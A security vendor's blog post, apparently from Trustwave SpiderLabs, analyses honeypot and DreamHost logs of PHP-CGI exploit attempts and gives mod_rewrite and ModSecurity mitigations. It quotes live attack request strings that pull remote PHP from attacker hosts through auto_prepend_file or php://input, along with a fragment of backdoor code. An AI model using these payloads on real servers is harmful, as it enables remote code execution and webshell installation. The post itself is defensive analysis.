[Honeypot Alert] (UPDATE) Active Exploit Attempts for PHP-CGI Vuln

UPDATE - we have received more exploit attempt details from web hosting provider DreamHost. Thanks goes to Robert Rowley for data sharing. Details below.

As you may have heard, some security researchers recently released information outlining a long standing vulnerability within the PHP-CGI code. The short of it is that remote attackers may be able to pass command line arguments in a query_string that will be passed directly to the PHP-CGI program. Ouch...

Exploit Attempts

Our web honeypots caught the following exploit attempts today: - - [07/May/2012:02:36:11 +0400] "GET /?-s+%3d HTTP/1.1" 200 38 "-" "-" - - [07/May/2012:02:36:12 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.1" 200 38 "-" "-" - - [07/May/2012:04:46:12 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" - - [07/May/2012:05:01:17 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" - - [07/May/2012:12:08:01 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.0" 200 753 "-" "-" - - [07/May/2012:12:08:01 +0400] "GET /?-s+%3d HTTP/1.0" 200 753 "-" "-"

Notice that while some of these are simply probes to see if the application might be vulnerable, there are also two RFI attempts to execute remote PHP code.

(UPDATE) DreamHost Exploit Attempt Details

DreamHost security provided SpiderLabs Research team with ModSecurity alert logs related to PHP-CGI Exploit attempts. These logs provide a much wider view of attack scale as DreamHost hosts more than 1,000,000 domains. Here are some stats:

  • Number of PHP-CGI Exploit Attempts: 234,076
  • Number of unique domains targeted: 151,275

Here are the top 10 attack vectors seen (with the # of attacks shown in the first column:

 198489 'GET /index.php?-s'
7837 'GET /blog/index.php?-s'
6078 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.5999mu.com/a.txt'
2075 'GET /index.php?-s/wp-admin/install.php'
1790 'GET /wordpress/index.php?-s'
1605 'GET /wp/index.php?-s'
862 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron'
670 'GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi'
534 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dphp:%2f%2finput'
422 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.qz0451.com/1.txt'

Goal - Webshells/Backdoors

One of the major goals of these attacks are to try and download/install webshells and backdoors. Let's look at one example shown above:

GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi

The remote RFI file is a PHP backdoor program. One of the more interesting aspects of this code is the following section of code where the attacker wants to prevent others from exploiting the same vulnerability:

if($backdoored > 0){ echo chr(10)."{$backdoored} BACKDOOR_INSTALLED".chr(10); $htaccess = getcwd() . "/.htaccess"; $htaccess_body = @file_get_contents($htaccess); $fp = fopen(".htaccess", "w+");  if($fp) {  fwrite($fp,   '<IfModule mod_rewrite.c>'.chr(10).  'RewriteEngine On'.chr(10).  'RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]'.chr(10).  'RewriteRule ^(.*) $1? [L]'.chr(10).  '</IfModule>'.   str_repeat(chr(10), 5).   $htaccess_body  );  fclose($fp); } else {  echo ".htaccess bugfix error!" . chr(10); }}

The highlighted mod_rewrite rules will be added to .htaccess files as a crude method of patching the PHP-CGI vuln to prevent someone else from exploiting the same issue. The RewriteCond line will inspect the query_string to see if it starts with the dash character (-) and is not followed by the equal sign character (=). If this is true, meaning someone is attempting to exploit the vuln, then the final RewriteRule will capture the full REQUEST_URI will then add a question mark character (?) to the end and instruct mod_rewrite to treat the request as a symlink ([L]). Using mod_rewrite in this way should cause future attack to fail.


Due to the fact that attackers are actively probing for this vulnerability combined with PHP code fixes that may not be complete, you should consider deploying some security filters in the interim. There have been public posts outlining possible filters using mod_rewrite such as the following:

RewriteEngine onRewriteCond %{QUERY_STRING} ^[^=]*$RewriteCond %{QUERY_STRING} %2d|\- [NC]RewriteRule .? - [F,L]

This roughly translates to: if the query_string does not have an equal sign (=) and it does have a dash (-) then issue a Forbidden response. The problem with this filter is that it would not catch the RFI examples we captured with the web honeypots as they have an = sign when declaring the PHP "auto_prepend_file" function.

Trustwave SpiderLabs has developed the following ModSecurity rule that will catch all currently known exploit attempts:

SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"

This rule will check for the four most common PHP command line arguments coming directly after the question mark (?) character to start the query_string. It will apply a URL decode and remove whitespace characters.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.